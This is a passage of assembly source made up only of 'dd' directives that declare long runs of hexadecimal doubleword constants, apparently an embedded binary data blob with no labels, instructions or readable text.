15BF4CB5h, 1BC0EC00h, 28CD7B73h dd 289886h, 9EB67E31h, 2AF0FE7Ah, 0DDCEA00h, 6749A72h dd 2C680A9Fh, 92D84963h, 0C840103Dh, 0D57631C1h, 35EC531Eh dd 84DE5ED0h, 30919B77h, 8F235941h, 0CB0BC450h, 8D5B00D0h dd 384CA562h, 0B600D320h, 81F2A011h, 247C5C9Fh, 344E716h dd 0E660A0Dh, 0FAE806D5h, 0C507E9E1h, 4ECD721Bh, 0C6855AE1h dd 7CF517D5h, 7E357050h, 7989601Dh, 55F16CBDh, 513BDA00h dd 0A6FB37E1h, 0E651FEEh, 9F72410Ch, 0C0B2060Dh, 6F05CE66h dd 93E4D5F2h, 4D482488h dd 6207908Fh, 0F0333244h, 7447A3D2h, 0DA266B00h, 0F7301CCBh dd 0E0D011Bh, 0D78E1766h, 2D025E5h, 0BFE016CEh, 84601E7Dh dd 253BFF99h, 0FD1509A6h, 0E075245h, 61623068h, 0CF18D9AAh dd 0E2407665h, 0C0FCA16Fh, 2CEB0864h, 444CBB24h, 3F1C908Eh dd 0A307F1ABh, 9D6FDB01h, 0E1DDEF93h, 0C980E7E6h, 8C60C35Ah dd 0DF1575B8h, 84EC30FAh, 0A4CC6BE4h, 1CCD50ECh, 400D2AEAh dd 14154DF8h, 92C0053h, 0A3FC0315h, 0A816F177h, 484528B0h dd 0DC53EC05h, 4064D808h, 0D259912h, 2F530813h, 3B042C60h dd 0C50F7BEAh, 40871E61h, 4433C198h, 0D002AFAh, 5FD87CF0h dd 8204A2h, 0E6145F5h, 6852816Eh, 0E6CE8501h, 4497E40Ah dd 0EBA45C40h, 58529069h, 23877847h, 9249D0AAh, 58E19B68h dd 0A0318688h, 0E4FAB129h, 8F20C980h, 34D99645h, 0A5A66C03h dd 0F7ECE6DEh, 0BB021F41h, 3126F422h, 6242630h, 8936E3E9h dd 7E6C0E48h, 7916B09Ah, 0B040D1ECh, 846FD851h, 4A1C28CDh dd 196B69A0h, 4037A404h, 966DE60Dh, 0F80417BFh, 661C031Bh dd 0A9222EB2h, 0A0E400E7h, 4B4E743Dh, 0DA12957Ah, 1C61D444h dd 1EF4D7CDh, 0F1B850DFh, 86941650h, 2C4C0240h, 0BCA28E6Ch dd 448C1E8h, 4C002B41h, 8D929014h, 31676605h, 0B93088F5h dd 6386108Ch, 0FDB0A992h, 5D7A0D0h, 527BB97h, 52AC041Eh dd 840E4491h, 62FDC8Ch, 64E0AA7Eh, 79004183h, 0DF9A7316h dd 4BC669Bh, 24FC1B7Dh, 45F08C2Eh, 6188F6C0h, 4A65F6h dd 24A3CB27h, 7C2B5386h, 0A8CA9C2Eh, 13106351h, 0FC09F771h dd 32E38807h, 0E2F04180h, 0C2860017h, 0BB00A33Ch, 9A88E318h dd 293579Fh, 0E6DCC365h, 0D0A03FE4h, 1CFF9868h, 20E22628h dd 8D027B00h, 0BB9A5F7Fh, 0E884A92Bh, 880F4072h, 7A0A44Fh dd 0A5B5BC8Bh, 0CFAADF05h, 0D8603F7Ah, 126877FFh, 8908E409h dd 5CDC2044h, 18CEB73Bh, 83193EFAh, 9F2400CBh, 0CF52A04Eh dd 0F0A634C1h, 291F0A30h, 0B9B4C35h, 34FCE9C2h, 0E40D5432h dd 0EC401A1h, 2690203Ah, 17483218h, 0C3C719h, 0AA68E61Fh dd 190758C1h, 9901F300h, 0E473DFFBh, 69D3132Bh, 0BEB0029Eh dd 80EC0E1Bh, 5E9CD17h, 7EB7420h, 13DC009Eh, 0AA72504Dh dd 0B30931F4h, 81E3CE5Eh, 9004CB3Ch, 0E11D041h, 0F1244023h dd 8E470934h, 69C01C2Fh, 0C1C952D0h, 508F020Bh, 4D1084E8h dd 64FABC92h, 0D8273C68h, 39CA5A83h, 0A8E9EB0Dh, 0AC6313h dd 0F1C3CF42h, 71283F5Eh, 0A71E0509h, 0D98FB3EDh, 0F0329510h dd 0E9CB2498h, 1F6BC900h, 3AAE4BBDh, 0AA00D376h, 7F3F94ABh dd 0B8C09DEFh, 32727833h, 0DF4F12B9h, 2300C969h, 0BE0776B0h dd 84B510C1h, 0D4980EC4h, 3B8B3FDh, 732619D4h, 89E597B1h dd 20851EC1h, 5D90F894h, 22C80030h, 2C7FB7D5h, 0F60A45DDh dd 901B6C9Bh, 0A003511h, 2CB40216h, 8496917Ch, 8E98EC0h dd 0EC61C7E2h, 0EAF98C93h, 86749B4Ch, 246E6B11h, 15CC971h dd 53FCC4B6h, 0EAB860F0h, 38A33409h, 33CC3073h, 0FB741F13h dd 0F8559F84h, 318B4849h, 0B027148Fh, 0A2EC143Dh, 6B07723Ch dd 6469891Bh, 0B291BC80h, 0B974F9h, 98A86D9Fh, 24F44E68h dd 20C0A378h, 0BEB3D01Fh, 7CFAF620h, 537308C2h, 15009FB4h dd 0FB86F759h, 0FAFC00E1h, 626F7E93h, 7503E024h, 5C2AA2F0h dd 0B661004Eh, 76CA71EAh, 0A50021CEh, 4C97E623h, 14E778Bh dd 32C9D610h, 0E9A74FF6h, 9F808067h, 80BE7F4Dh, 10BB601Eh dd 0D24972C9h, 58A34700h, 2EBA2DB0h, 68BE0004h, 0A44E094Bh dd 79600C52h, 0FE53FF80h, 87B9066Dh, 0D915068Bh, 43095700h dd 0BAC6C298h, 9660002Ch, 9AF889A1h, 21F6F038h, 8B30A8F0h dd 0BBE2896Fh, 0E3030A61h, 80807955h, 2FCA42E6h, 1E2AFB1Ah dd 0DE449490h, 75E7F9Ch, 457039F1h, 0F8783055h, 0E73038B3h dd 94C0600Bh, 0A00913D6h, 0CB18EA26h, 3B4F59h, 506535BBh dd 0F95CCFF6h, 90E15E01h, 66629C30h, 22F030h, 0FB3D5191h dd 3824A1B4h, 40A2DF30h, 0A49B5CA9h, 75692264h, 0E07A2419h dd 5EE09629h, 3FA87DDEh, 4B1C764Fh, 0FFA38014h, 5DC07BA0h dd 0A631F300h, 5F9739Bh, 3CA0A8B0h, 322A00A8h, 2DE4EA9h dd 48005DE6h, 0D659C351h, 38AED0A1h, 6EA0085Fh, 0A2055E70h dd 0BB602A05h, 5777D030h, 0F89060EFh, 3784486Fh, 0AB84600h dd 4F1F5A24h, 0E8CA012Bh, 1A7E1C21h, 66C4896h, 9E9198A8h dd 9851DE00h, 83B1F7D6h, 0B720029h, 3BE150F1h, 0E1C41760h dd 80051547h, 0A6884073h, 54E86AFBh, 0EDDB380Dh, 94009874h dd 80A35A22h, 84AEAA92h, 6B993C80h, 0B9006CF8h, 2E33506Eh dd 0C4A98DCh, 0A24CCE05h, 0AD396629h, 759D03F1h, 0C85DDD4Eh dd 1FC076D1h, 0F090C3A2h, 98839C58h, 0A51C5977h, 63C3B0FFh dd 0F8704C27h, 97A4EF5h, 0F32DED24h, 0FA566C02h, 0F2E59CA0h dd 0B0004169h, 80437276h, 18420F9Dh, 0A9EAD989h, 6F016BEDh dd 0D31A1F9h, 0A56002FBh, 47940261h, 13F32475h, 0F6B28C81h dd 0BA6D03B9h, 0F72B4163h, 3C3020h, 0C3485952h, 88032B8Ch dd 0E989200Fh, 8820928Fh, 1721842h, 7CA27305h, 0F077BEA7h dd 13544B12h, 18814D8h, 0C6B500FCh, 2B7C87ADh, 4C30C8D1h dd 0DAA49A6h, 2CEF000Bh, 0F7C239B7h, 0FCA69D3Fh, 56F8A906h dd 309245h, 770420E6h, 0AC494DCh, 0E733C000h, 0C53342Ch dd 52A218C3h, 5403F15Fh, 13F86706h, 3E9BC56h, 533FB681h dd 0F6E86B9Bh, 3D76F1FDh, 0B106A218h, 0F8EEAEB1h, 0BD250799h dd 0F9986118h, 5E12BD00h, 94A66566h, 0AE6056E8h, 4C8A07C9h dd 240F001Bh, 98146E80h, 6005021h, 5B3D27A7h, 0A8F2A4B2h dd 6F24F1E4h, 0D6207118h, 0AD0DEBD8h, 51C04C72h, 51AE8B67h dd 0E14A07A9h, 0F35E2AA6h, 0E9B3BD92h, 767DC2F0h, 0EDD9D9C7h dd 18C54B70h, 0C48A5658h, 0B0FDF100h, 0D0237542h, 6CBE9301h dd 0AF1D30F3h, 1CCB5C34h, 2A8174DBh, 8280339Ch, 54F8D159h dd 2500F050h, 0FBC55298h, 395CC8AEh, 7A806918h, 0F7CC8CC0h dd 0A4AAF5FDh, 738A0B8h, 0A1544h, 90CCF1A0h, 189D8184h dd 862C7B00h, 0E3DDFA76h, 22251503h, 905180A3h, 0E52CD700h dd 0CD007B4h, 0C61274F7h, 6B30D9C0h, 5CCA977h, 4DB20025h dd 0B9C35B85h, 49C0A84Ch, 6137573Ch, 0A01500C1h, 0B6487596h dd 2B001343h, 23F70DFAh, 0AEC05D5Ah, 0C0CEB08Ch, 55A0B6B9h dd 8F00DF7Bh, 0DE44112Ah, 8BFC85h, 1B747781h, 0B28287B1h dd 0F43D8C24h, 830B424h, 0A0A6791Dh, 0F8819668h, 7B240925h dd 0E4837CDCh, 2118B321h, 6771B606h, 861400F4h, 0E476E27h dd 64613715h, 0A0B55378h, 70E0B058h, 75430495h, 0D9484516h dd 0E51C21B8h, 0D3B80092h, 1D8C0058h, 0B6722865h, 7B0184F2h dd 0CF3F75AEh, 0FC4CA40Dh, 9042039Eh, 0A213E41Eh, 60C81CA9h dd 79038E5Bh, 0EA2E3041h, 8057BA4Ah, 7CD6430h, 0F455009Ch dd 0CBDCC2D2h, 0CE481B0Ch, 66E8040Dh, 6CDDE1DAh, 845D885Ch dd 0B028378h, 86F41DA9h, 4FB0C1C3h, 1745036h, 47759A6h dd 37919F71h, 0B2223Ch, 9375D085h, 5DAE749Ah, 48C81407h dd 0FDA0CD94h, 29766D07h, 44FC870Ch, 0CDC15E14h, 7DA91A41h dd 0CB15DE8h, 0A15EF421h, 972E5121h, 8316A494h, 14033804h dd 30F6900Fh, 0D677FCFCh, 0B320111Ch, 81A64C48h, 76092A84h dd 82C1E878h, 7505A512h, 0A580DC63h, 0FA7384D0h, 318400F3h dd 10236D8Ch, 8AF45166h dd 7F2F350Eh, 4AC6000Bh, 5D9D6C86h, 93C46CF5h, 0C0085465h dd 9CC6CF41h, 271800C9h, 47B9B40Eh, 1704B084h, 1F5B5A82h dd 685D6490h, 0C6290471h, 88564DE6h, 55004BACh, 12CC5E0Ah dd 0F6EEE233h, 2DE90B30h, 80902F7h, 2281B024h, 5227209Dh dd 0B21C9C13h, 64C0EA0Ch, 81891642h, 4D832676h, 267C01DCh dd 44F1201Ch, 0AE9891F8h, 0B0621478h, 6AEA01E3h, 609F6195h dd 470FEBC4h, 0CB24FD0Ch, 5280A0E1h, 987F4F6Ah, 90B17C2Ch dd 0E0B25130h, 0E212AC63h, 83503079h, 0FF30F44Eh, 0B698B9A6h dd 7A120AECh, 26FC9AD6h, 9C6380A8h, 0FCB2A446h, 1F1EE84h dd 5E40B598h, 0D43B68F8h, 0FA25DE80h, 410C324Bh, 1470297Ch dd 2DDC0092h, 0BAA419BDh, 80CEEA62h, 0E851F110h, 70A062h dd 0E129E301h, 0A9EC4760h, 8B00937Fh, 0E04330B9h, 2799482h dd 0C177D74Fh, 0FC8BA99Ch, 2CF14018h, 242C0B50h, 94A8E3F2h dd 0A11703BEh, 0E82006B6h, 0E502937h, 0DE2A41D3h, 0DCE524C2h dd 3B4C4450h, 0B74BB060h, 79E91D56h, 0DD80C03Dh, 576AD5E8h dd 99D61101h, 0A74D5E9Fh, 7CC3980h, 59C5F07Bh, 750AE100h dd 897C9A7Ah, 762734BAh, 0F5B0219Ch, 0C4531249h, 207B94h dd 8A960F16h, 0E9766628h, 189B4A7Eh, 0FC3315h, 0F88D1B61h dd 6C59FD5h, 276FE85Ch, 8058B9ADh, 542E8028h, 9714D4Eh dd 563B0918h, 0AB8CACB8h, 0C0B49649h, 0F6BF7BF1h, 0E0A264BDh dd 90A440B3h, 41B565h, 91BA36E8h, 24737620h, 0FFD96F60h dd 965EF0E3h, 5312BBC4h, 0E1ACC83Dh, 57F44D04h, 14802893h dd 60192391h, 0E0D1C8C0h, 4B104C6Fh, 7688EC2Ch, 16E86680h dd 263302F9h, 0E4945A1Bh, 0D3A440B1h, 3EECD9h, 2D433FCh dd 0A534C8A6h, 2A559214h, 0C740D4F8h, 0C920CA39h, 83033h dd 0C06F4E9h, 5352B741h, 813FD500h, 0DD0B6E35h, 9A02FE20h dd 209C4BE4h, 0B395ACCh, 809E4F3Bh, 0DB225C0Dh, 291AA545h dd 41E094A7h, 807021A8h, 528846D9h, 39DE25FBh, 0B68ACA58h dd 42707B35h, 0EC6C69A9h, 481AA803h, 18A0D98Ch, 2AA5DA81h dd 0E5044BFFh, 8727D3B0h, 63748090h, 0F0A94D71h, 5F546A20h dd 1A4D80D8h, 73B800CCh, 1B3652Fh, 0E702041Eh, 0DC71C6C4h dd 0D6027B50h, 0BEAC14DCh, 26386FA8h, 0D5F1007Ch, 2A15E8E5h dd 0C4665509h, 0CB68618Ah, 6A838184h, 45109879h, 80CC554Ch dd 339D0768h, 0C1FB070Fh, 3073E8B9h, 16D56E21h, 740AD305h dd 0C831AC7h, 4DC90F90h, 2033D952h, 0F957B208h, 0A120AE00h dd 0B5F0268Eh, 9C2407B9h, 92DF2FD6h, 64A097DEh, 75F4B45h dd 0B212189Ah, 0D444B8F8h, 6C892AF1h, 9E7AB436h, 0AA560C40h dd 0F5F8A1B9h, 0D531B800h, 81D38406h, 578C123Fh, 7E68206Bh dd 79005AA3h, 0ED1EF348h, 0A6BE804Bh, 0ECEC4EC8h, 0B24D007Dh dd 0F8E83C86h, 44A5580Eh, 6A256904h, 40D487A2h, 281C2BDEh dd 30B5B92Ch, 6F3C2184h, 0E016830Bh, 5D718505h, 0E0619D64h dd 0B0397024h, 8D909213h, 0E9BC7058h, 742C1498h, 0A360800Bh dd 0F5E3A6CAh, 248AD0h, 794461B1h, 0F55889B0h, 0E6F7E002h dd 9312B2F0h, 0E57288A4h, 0F31A12EEh, 0EB084976h, 53FFE460h dd 389E7071h, 931D90E2h, 80FD8050h, 4EC713CEh, 36F0308Eh dd 0FF1D8BCAh, 0D90DE8F4h, 13C0A999h, 23D5A072h, 59780025h dd 741C2E05h, 53012080h, 77FD8971h, 82727ADh, 40EC562Eh dd 0F5F4DAE7h, 68015C00h, 0C61CD8F1h, 5D20002Bh, 0D480E61Dh dd 789C0612h, 6E6153C0h, 40DC96DCh, 0C0D37C5Dh, 0F8D59502h dd 48A5FD24h, 666CA81Ch, 884D2978h, 0E708C8B1h, 65F18213h dd 500AA1F8h, 0DE0F1202h, 0EFF02A2h, 0D722A02Eh, 25253B87h dd 8813C063h, 50786AC8h, 0A32E3C02h, 40FC8486h, 113F5A0h dd 0B7D5A9A2h, 58BA3B8Bh, 0F771B2C0h, 0F85884AAh, 22BD550Bh dd 0A6A484F8h, 0B0D73347h, 26F4B3B0h, 803AEC0Ch, 0F2A37968h dd 737A0EF5h, 6AE493Bh, 0BAAB7763h, 4F57DF80h, 0EBBE0B01h dd 7DC42992h, 7187F3E5h, 90FEF978h, 74BFACDDh, 0A311FC9Bh dd 4A0A502h, 0B871533Dh, 2C62F180h, 0B4556BB5h, 0B72940E8h dd 0C100C407h, 13099EBEh, 0F8A11F0Bh, 0F01B1242h, 46E80B99h dd 0BCD5888Fh, 0C0A49424h, 4DEFB2ECh, 355351CFh, 0ABB60080h dd 0C06ED528h, 93E60266h, 85A35C2Ch, 40D7F4E3h, 3426778Dh dd 6C40805Ah, 1D66A4AFh, 147D1760h, 8D6C35A1h, 687A600Ch dd 4287A200h, 0F6CE1351h, 60DF5D66h, 0D890568Bh, 0F401FA40h dd 68926BAEh, 0EC39211Dh, 8FC0584Ch, 331681C5h, 37A43100h dd 267DE1F7h, 44634B24h, 22B679E8h, 636E20B0h, 0F40E5A49h dd 80AF3DEBh, 5F9839ACh, 0E47C4C64h, 7A254EC1h, 15C714AFh dd 4924F1FCh, 1C7C581Fh, 0D4ECC359h, 4A21A8DDh, 0C607B411h dd 90D049D5h, 46B21178h, 5C14213Fh, 0F392DE60h, 9FDBCC9h dd 3CD1FF12h, 6361384Fh, 79601D9h, 5A3F0336h, 0B72830C6h dd 94B84205h, 0E8205548h, 9CF6DBh, 0A7B681B9h, 4518F022h dd 5AE25902h, 0E9BF16FEh, 5410AD90h, 0DA07C201h, 0CC68B46Ch dd 3245EC70h, 0BE551E34h, 820EEDBh, 4F09C822h, 30DC942Ch dd 0A0C16EDDh, 9CD9A6h, 1981B180h, 3F321Ah, 33088B7Ah dd 350B8E6Ch, 0F8F1AD13h, 77F05C00h, 3C89B1B0h, 622719CAh dd 3CC0341Ah, 418A7198h, 0C430DDB4h, 0DF7C00B7h, 27A4D74Eh dd 0C3016D6Fh, 3637A598h, 883744B3h, 13FE4D00h, 0BF144698h dd 0BAEEB215h, 0B09B2EACh, 61BB45C0h, 52F65AB2h, 621C0178h dd 0DB06A28Bh, 6B2AD900h, 0EE097870h, 327D28h, 0F448E2F7h dd 0E671B640h, 11343CF3h, 3B11D8EFh, 6AA813A6h, 3F09860h dd 6D11C057h, 52F40644h, 601D7526h, 78905422h, 498A90B6h dd 56E594DDh, 0ECB0CB4h, 0DF3CD980h, 0BDCD3442h, 9EA3B861h dd 0BA808249h, 0B572D74Fh, 6021850h, 0E461D9EBh, 33761900h dd 96A64921h, 1280135Ch, 926062F7h, 0AC90ECEEh, 2B545E00h dd 0F27887E5h, 0F05624F8h, 1D1B8070h, 1F793D81h, 7E767409h dd 336CC0B7h, 4440B8D8h, 0CC0BC1B4h, 0FE42CD2Dh, 0B69E0181h dd 0F3FA6526h, 68724982h, 4AA85944h, 7748251Fh, 33DD11E4h dd 80787872h, 56B9F17Bh, 0AF060003h, 0DDF877C7h, 270299DBh dd 0FED1A66Ah, 3E8C8102h, 0F8D497B9h, 1EF0203h, 8ACEEEDAh dd 5F0520E6h, 0F6D50FB0h, 2815AFC0h, 0D6CB009Ah, 6CC3CC5h dd 0E1171B6Fh, 8C216BBDh, 162023D3h, 0C8FA1C49h, 326C00F3h dd 8C64544Eh, 0DE4BA80Ah, 0CF003005h, 0EF2358FFh, 0A3771E1Ah dd 49FD0A60h, 0FEC600AFh, 912A301Ch, 5BB7093h, 463FC531h dd 2E01B8E2h, 147A6358h, 75742699h, 0BCA4772Ah, 2C90F105h dd 0CC40BE87h, 1533B82h, 4C6272A8h, 1321B094h, 0F1037F91h dd 0BB4CD169h, 31841100h, 0C4D307D8h, 0C6990183h, 42AE22B5h dd 5EAC3044h, 2C96CBF6h, 0FC02F0CAh, 7DA4B2h, 5D5E866Dh dd 0DBF24308h, 27E800B8h, 3BE1F80h, 0A71BDEF0h, 25E16E8Bh dd 0E81E9710h, 41F9B209h, 9EB49192h, 57248011h, 0F03C90CCh dd 0B45F48E1h, 0B945AE0h, 8F59798Dh, 8857A804h, 197CEA64h dd 5BFAED01h, 47D9C192h, 40728C30h, 0F09153C5h, 0E1E36700h dd 98669121h, 0C55C2DFDh, 0BEA01893h, 64001D94h, 0B3D5F711h dd 4AECD421h, 3FC44051h, 181C8C9Eh, 99C71A1Fh, 0DD6C8602h dd 2760FB73h, 71109490h, 66183Dh, 0E68B2CBEh, 953D76C1h dd 3F1B030h, 90772527h dd 0BA293A34h, 3B1D2CD8h, 0E2F144B8h, 920E00C4h, 0C9DE42FEh dd 0A5A32419h, 0DB9B8808h, 0F281BC2Bh, 41391F4Ah, 71D49C4Dh dd 0AD0300C2h, 63709567h, 0EF3D0144h, 50A0812Fh, 1BA158DEh dd 547D6F60h, 4C2CCC20h, 843B7F95h, 14A43A87h, 64F49A48h dd 0EEF77146h, 0D0537192h, 0C67E55C4h, 0FD01A4F6h, 0F904AB60h dd 0EAD43DB9h, 61BA25C5h, 0A36EC866h, 3475B1D8h, 0B34978FEh dd 7849297Ch, 472C09h, 4AAC9698h, 0B114B42Dh, 0CAD4AAE0h dd 10E62860h, 31B70C2Dh, 0B8485300h, 0F452EEBFh, 0DD0F00D6h dd 0CDCA6228h, 5B09A360h, 66F29929h, 64F25DCh, 0E2603448h dd 0FF0BCF00h, 757DA8D1h, 0E04D24DDh, 0D0AA18E4h, 1882D8E7h dd 89AC5Ch, 0D51792FFh, 8F9D67Dh, 8276667Ah, 0B6F876F0h dd 0AC03DA7Ah, 6C8A0BB1h, 0AE1903D7h, 0E10C377Eh, 25D484EAh dd 1CD15C00h, 3BDFE296h, 328EFD02h, 834A6489h, 7EB1011Ch dd 0C05F8846h, 0D10F9118h, 8082D663h, 9F9444A0h, 159A01BAh dd 1E3E53AAh, 85B07FA2h, 40B76059h, 0D12B4D5h, 0F705B0DEh dd 442065B6h, 5A40108h, 2F55B6Ch, 0A65BC727h, 78183126h dd 51487E88h, 0FFC30058h, 55B92959h, 79008194h, 8F31B650h dd 1CBAEFCEh, 395EE05Dh, 5490A8h, 46872B20h, 59A3846Bh dd 8BF45B09h, 8952871Bh, 30618556h, 94B1B1BEh, 0A400FAB9h dd 0C5DBA97Ch, 0CCF8BA0h, 5D576E7Fh, 782A7970h, 70E90DDh dd 471DA884h, 28CA672Fh, 20490D0Fh, 0C156F20Bh, 4E3C00A5h dd 0C6EB36D6h, 0BB56E924h, 3881584h, 449488C0h, 562603ADh dd 69A11E7Ch, 21601AD6h, 130FB002h, 1008F520h, 5B980FA4h dd 0DB82A9DFh, 18485E56h, 8C01074Ch, 47AD960Eh, 0E04D4A38h dd 3C3E67E0h, 0BF008A4Dh, 0A382B5F3h, 35338CE0h, 0D064418Bh dd 1879A0ADh, 38BEA4C5h, 8E613B8Ch, 0C2B2D621h, 12E7E9E0h dd 28F12D89h, 48F98B2Ch, 5F88B5B8h, 342B07BAh, 0B01CE9BCh dd 2D56B4E1h, 15004578h, 940B67C6h, 0F09B438Bh, 0B8A07BB5h dd 0A06A60D7h, 0BC8FD1Bh, 78A160C2h, 208CAEEAh, 92E5FFECh dd 34120099h, 20FB6DB9h, 5E005789h, 0D39BF8F5h, 493C8CD6h dd 980A885h, 844EEBA4h, 0BF6AAE0Ch, 773A9B2h, 4B5A928Ch dd 9843730Ch, 0E31A2AC0h, 9449E603h, 0E8731CC4h, 0CA032D13h dd 40E499F1h, 0E9053C4Ah, 84B69503h, 18B40C26h, 81895659h dd 0E704CE83h, 4F5C36E9h, 3523E2C0h, 0EDB01248h, 840409C7h dd 8EA8C402h, 0CE6E8901h, 54BE6194h, 67BB790Eh, 0DBEA1283h dd 0B62344F8h, 0D7E17A0Eh, 9A8E227h, 559C9422h, 0D0CBCC87h dd 5C997h, 7C1230Fh, 0EE79A826h, 371117Bh, 0E085D800h dd 177C2FD2h, 9295242Bh, 84560CA8h, 0D8E51DC9h, 0D1242464h dd 83405CBEh, 4C3F08Dh, 4C940D31h, 0BE2082A1h, 0E64D8490h dd 24F14F00h, 81873788h, 0AFE80094h, 8FC50915h, 84388CF0h dd 0FD0C0CACh, 6608B9h, 99D3CC94h, 0D6186A65h, 92004498h dd 767F3AE3h, 190EB0EFh, 31A22219h, 1CD36091h, 1DBCA400h dd 0D7628C4Fh, 0A0DA0759h, 6182FE3Ch, 0C0BFFFEAh, 4E00660Bh dd 9E6A0F97h, 0E89309h, 67E7CBF7h, 0C2FE9F8Ch, 1F47E400h dd 0C5776B7Ch, 69B260FAh, 0B449FC5Eh, 0D0E24D00h, 5A95A7A1h dd 0C5750172h, 0A9A4E02Bh, 11E0EB1Eh, 9F6ADC19h, 0A100A839h dd 96833A4Ah, 605905E8h, 208D67DFh, 0F090875Ch, 888E9A2Ah dd 0E32C771Bh, 408C0B0h, 9192007Ah, 0F23B9565h, 6F3E3F18h dd 0D6588D83h, 0A106C0A4h, 47D35831h, 4A18C600h, 0F63B731h dd 2C0018DCh, 1C1A99F2h, 0A1A560DCh, 379E2685h, 0D88EB63h dd 0B9C122ACh, 61D12C88h, 3F622207h, 0D0C6875Eh, 0DA310019h dd 29010D27h, 77002F9Fh, 0FBB38C38h, 483B86h, 1EDD2069h dd 9E727932h, 0FAE8DCEDh, 0F7B8B860h, 0DD8FB680h, 93DB00F9h dd 3A3D05A0h, 8494AF0Ah, 640AE4C8h, 0B74078F6h, 0C265EA3Bh dd 0B8DD1938h, 41B45884h, 0F815C198h, 4F1AE4h, 7875F018h dd 95CDC294h, 4DC544Ch, 92813E60h, 28B7048Ch, 222CE380h dd 9170A223h, 1E76DC0Ch, 7D961A5h, 4DB0971Dh, 0EC82183h dd 0CF80D8E7h, 9D1987F1h, 8CE7B913h, 300A8181h, 4F151710h dd 9590ED04h, 73C0F9D0h, 6036C824h, 6C8C2083h, 8F00CA7Dh dd 2051B404h, 0AF0D4Bh, 0F7559009h, 73BB6C6Bh, 3604CF7Eh dd 0B68397CAh, 0D80A1E83h, 0F79020h, 778B9826h, 59C3E7D3h dd 3839CD0Ch, 7D286184h, 1C5D0079h, 89F0F5EDh, 33032369h dd 3F4FF7CEh, 4C34F83Bh, 0EBC7E7Dh, 0F8D6779Ah, 9008F0BCh dd 6630D2DEh, 0D3BED168h, 6F2B0070h, 5AAF5988h, 5E0FA7E0h dd 80B8F562h, 0F72823B7h, 0C1150C02h, 84F86878h, 694B4500h dd 4398CF87h, 7AAE3160h, 507FF2A1h, 0DEE7889Ch, 6F490100h dd 0A947C1C8h, 3A3C0EEBh, 6124FCEh, 395D38B0h, 0D807E77Ch dd 0B5341820h, 65AB6F40h, 76BF0146h, 8493D6CEh, 3C88D03Bh dd 0B0607060h, 0BC6BADh, 300C8E50h, 0D523B817h, 6F11BB00h dd 885A11Ch, 43A60015h, 6EA65AAh, 40FCB941h, 80A7703Dh dd 0E2D34FBEh, 1EE322A4h, 13FFF79h, 0D418F04Bh, 0E050802Bh dd 0F250EECh, 0A27A00A8h, 0FA31EFB2h, 3001A11Bh, 0D321C558h dd 3080D535h, 47C3341Ah, 260ABCFEh, 4C46328Bh, 8EFC00Ch dd 5AB002Bh, 77B90C51h, 0F21DE7E6h, 200D66Ch, 86A14FE8h dd 58C964D5h, 0FEC05D33h, 43200EFCh, 53360013h, 69281A67h dd 0AE3C2F32h, 0F35D9875h, 61D246C0h, 54E4393Eh, 9045D89Ah dd 6810100h, 53380FD9h, 0B6550FF1h, 50002AE6h, 0B5EAA86Ch dd 80D5243Eh, 21C12810h, 0E9553318h, 3A41C180h, 0D3131A82h dd 12613267h, 447A5090h, 5E1600F7h, 39D0A285h, 80032FA5h dd 5653AD1Dh, 169808E4h, 979D997Fh, 0B1CAD802h, 29B4A0C7h dd 65399Dh, 3A60F3Eh, 0A809AAFh, 153FF00h, 35A18EF9h, 0C98DE31h dd 8639C591h, 153DBC00h, 9937DA8Bh, 0CB2900DDh, 3155FBE5h dd 5702F711h, 9DC5BDD2h, 0D3C0A3FEh, 0B189003Ah, 0A6433EEDh dd 0A000653Dh, 0F41FBB64h, 0C992435h, 1769EB39h, 0A354C690h dd 0F1182B84h, 0DF81C8AFh, 7F2FCF3h, 73A048DBh, 5329AC2Fh dd 0C942F900h, 30029A1Fh, 0E619C01Dh, 145F282Dh, 4D6C1C00h dd 0E0B57318h, 35CF1E7Eh, 0DC29F030h, 74002E1Fh, 0D157990Ah dd 0B8BA73C2h, 0F23818CBh, 0A90298D0h, 3CCCC322h, 4C8050E5h dd 0F66CF7F8h, 0AA078C10h, 0D29EFDEAh, 0E862E3D3h, 0E05740ACh dd 0A829F448h, 0F4F7284h, 0A06AEC24h, 977B4080h, 4400FC62h dd 4A5AF5EAh, 933439Ch, 0ADD8C251h, 24169830h, 20499A64h dd 52F18C98h, 243AF0A6h, 0C228849h, 28D24B19h, 3E0DC39h dd 6C9400C2h, 8608CCA1h, 29001449h, 0E4C5070h, 4C5EDAFh dd 39A0A831h, 2B1493DDh, 50CBA3D1h, 0B60B1880h, 0D4C352h dd 0BF81A920h, 72A7F713h, 5332193Dh, 0D92F2125h, 0F1242598h dd 0C0D4221Dh, 0A1C20EB7h, 7AA500BBh, 6FA27EA6h, 270C6E6Bh dd 28C82BFDh, 9C1B1830h, 0CF3FE9B7h, 2DEAA100h, 0FA9997B2h dd 7D350EC5h, 1240CCB3h, 7A743E22h, 6441B600h, 55453A92h dd 2B2D0498h, 97CB3176h, 40205438h, 0B08D1E45h, 9B1F8D8h dd 0C015596h, 0F9789001h, 0A3A0D0A8h, 1CC5300Ch, 0A8FCE0B1h dd 8C997CCCh, 0C9E91C10h, 0BF3EB121h, 7FA70748h, 8B1078A5h dd 72F8F2A6h, 4C017102h, 30764A8h, 0D04BDA48h, 0C261462Ch dd 0FBE74501h dd 1827FAF8h, 7138E4h, 0A8B352F1h, 45498E87h, 0B4F024h dd 69BB4062h, 0C50F168h, 0E9F0BD20h, 0DBBB5700h, 9E745C00h dd 0E4CBA6FCh, 0BF210649h, 300BC91Bh, 6916B51Ch, 80903054h dd 4533140Eh, 0C42A1488h, 6A0AB08Dh, 32AC480Ah, 58647330h dd 286047E8h, 22A24839h, 0CE1D2643h, 0D93A80FCh, 4A9E1A6Bh dd 98CCED00h, 7248C48Eh, 153726B5h, 41803A0Ch, 0ABCDE061h dd 0A7487199h, 0D4861448h, 60903DDCh, 267CE5D9h, 0FB3C3862h dd 0F4816700h, 4B090E53h, 2F4A6001h, 9E915E44h, 0FF9B3180h dd 30F763B4h, 0C937F4B8h, 1576181Bh, 38E900B1h, 2A595210h dd 51C82A9h, 86C3F970h, 0C01201AEh, 0FC31A418h, 0C8EF064h dd 0B0F8FC6Ch, 0B8909860h, 27D322h, 0AE84F1C8h, 5C321F10h dd 390D7500h, 0CE1A1587h, 38E97E01h, 0A800A49Ah, 0D520BB3Dh dd 62EDF591h, 0C41E380Ch, 98703216h, 60C1F859h, 2C1CD0Dh dd 0C07D2529h, 71E60F36h, 56CA5C07h, 4010045Dh, 0B025D3AEh dd 699A09FAh, 80209B85h, 0C2DFA8AFh, 6AF80150h, 419AA706h dd 2420D30Ah, 40E45532h, 